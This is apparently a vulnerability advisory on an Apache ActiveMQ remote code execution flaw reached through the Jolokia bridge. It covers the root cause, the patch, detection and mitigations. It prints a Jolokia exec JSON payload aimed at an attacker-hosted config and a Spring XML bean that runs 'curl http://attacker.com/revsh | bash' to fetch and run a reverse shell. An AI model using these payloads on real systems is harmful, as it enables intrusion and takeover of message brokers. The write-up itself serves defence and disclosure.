CVE-2026-34197: Remote Code Execution in Apache ActiveMQ via Jolokia JMX-HTTP Bridge

Apache ActiveMQ Classic includes a Jolokia JMX-HTTP bridge, exposed by default at /api/jolokia/ on the web console. This interface allows administrators to interact with Java Management Extensions (JMX) MBeans via HTTP requests. The bridge exposes the BrokerService MBean, which controls core functionality of the message broker.

The vulnerability exists because the default Jolokia access policy (jolokia-access.xml) broadly permits exec operations on all MBeans under the org.apache.activemq:* domain. This configuration allows authenticated users to invoke sensitive methods on the BrokerService MBean. In specific older versions (6.0.0 through 6.1.1), a separate vulnerability (CVE-2024-32114) allows unauthenticated access to this endpoint, compounding the risk.

Attackers exploit this permissive policy to invoke methods that accept transport URIs. By passing a specifically crafted URI using the vm:// transport scheme, the attacker forces the application to load a remote configuration file. This behavior results in unauthenticated or low-privileged remote code execution on the host system operating the ActiveMQ broker.

The root cause of CVE-2026-34197 stems from the insecure processing of the brokerConfig parameter within the vm:// transport URI scheme. When an administrator or attacker invokes the addNetworkConnector(String) or addConnector(String) methods via Jolokia, the application routes the provided URI string to the VMTransportFactory.

The VMTransportFactory parses the URI to initialize a local broker instance. If the URI contains the brokerConfig parameter, the factory uses its value to locate a Spring XML (XBean) configuration file. The implementation uses Spring's ResourceXmlApplicationContext to process this file, which supports loading resources from arbitrary external HTTP or FTP URLs.

Spring's ResourceXmlApplicationContext automatically instantiates all singleton beans defined within the provided XML configuration during initialization. This design assumes the XML configuration originates from a trusted source. Because the BrokerService MBean performs no validation or sanitization on the provided URI before passing it to the transport factory, attackers can supply a URL pointing to an attacker-controlled server.

The vulnerable code path initiates when the Jolokia endpoint processes a POST request targeting the BrokerService MBean. The attacker sends a JSON payload specifying the exec operation, the addNetworkConnector method, and the malicious URI. The payload takes the form of static:(vm://localhost?brokerConfig=xbean:http://attacker-server.com/exploit.xml).

{
  "type": "exec",
  "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
  "operation": "addNetworkConnector(java.lang.String)",
  "arguments": ["static:(vm://localhost?brokerConfig=xbean:http://attacker-server.com/exploit.xml)"]
}

Upon receiving this request, ActiveMQ reaches out to the provided external URL. The attacker hosts an XML file defining a malicious Spring bean. A typical payload leverages the java.lang.ProcessBuilder or java.lang.Runtime classes to execute arbitrary operating system commands during the bean initialization phase.

<beans xmlns="http://www.springframework.org/schema/beans">
  <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>bash</value>
        <value>-c</value>
        <value>curl http://attacker.com/revsh | bash</value>
      </list>
    </constructor-arg>
  </bean>
</beans>

The patch for this vulnerability implements two primary defensive layers. First, the ActiveMQ developers added URI sanitization to the addNetworkConnector and addConnector methods. This change explicitly strips or rejects the brokerConfig parameter when the URI originates from a JMX operation. Second, the default jolokia-access.xml file was updated to explicitly deny exec operations on sensitive BrokerService MBeans, reducing the overall attack surface of the Jolokia bridge.

Exploitation requires network access to the ActiveMQ web console, typically exposed on TCP port 8161. The attacker must first determine if the /api/jolokia/ endpoint is accessible. This step often involves sending an unauthenticated GET request to verify the service responds with a Jolokia version string or requires HTTP Basic Authentication.

If the target requires authentication, the attacker must possess valid credentials. However, targets running ActiveMQ versions 6.0.0 through 6.1.1 bypass this requirement entirely due to CVE-2024-32114, an authentication bypass flaw in the web console. Attackers actively chain these two vulnerabilities to achieve unauthenticated remote code execution.

Once the request successfully reaches the Jolokia endpoint, the broker reaches out to the external server specified in the brokerConfig URL. This creates an out-of-band (OOB) network interaction, which defenders can observe in firewall logs or DNS queries. Nuclei templates and other vulnerability scanners leverage this OOB interaction by supplying a collaborator URL to verify exploitability without executing destructive commands.

Successful exploitation of CVE-2026-34197 results in arbitrary code execution within the context of the Java Virtual Machine (JVM) running the ActiveMQ broker. On default Linux installations, the ActiveMQ process typically runs as a dedicated, non-root user. However, the attacker gains full control over the broker process, allowing them to read sensitive configuration files, modify message queues, or pivot into the internal network.

The CVSS v3.1 score of 8.8 reflects the high severity of this vulnerability. The attack vector is strictly network-based, requires low complexity, and requires no user interaction. The confidentiality, integrity, and availability impacts are all rated as high. The prerequisite for low privileges prevents this from scoring a 9.8 or 10.0, though the existence of authentication bypass chains effectively nullifies this limitation in many environments.

The Exploit Prediction Scoring System (EPSS) assigns this vulnerability a score of 0.46638, placing it in the 97.67th percentile. This high score, combined with its inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog, indicates active exploitation by threat actors. Ransomware operators and initial access brokers frequently target exposed message brokers to establish footholds in enterprise environments.

The vendor addressed this vulnerability in Apache ActiveMQ versions 5.19.4 and 6.2.3. Organizations must upgrade all affected broker instances to a patched version immediately. The upgrade replaces the vulnerable VMTransportFactory logic and deploys the hardened jolokia-access.xml policy file, closing the JMX attack vector.

If immediate patching is unfeasible, administrators can deploy several effective workarounds. The primary mitigation involves restricting network access to the ActiveMQ web console (port 8161). Organizations should enforce strict network access control lists (ACLs) to ensure only authorized administrative subnets can reach the management interface. Exposing the ActiveMQ web console directly to the public internet violates secure configuration guidelines.

Administrators can also manually harden the Jolokia access policy to mitigate the flaw. By editing the conf/jolokia-access.xml file, security teams can explicitly deny the exec operation for the org.apache.activemq:* MBean domain. Furthermore, if the Jolokia bridge is not actively utilized for monitoring or management, administrators should disable the endpoint entirely by removing the relevant web application configuration from the broker setup.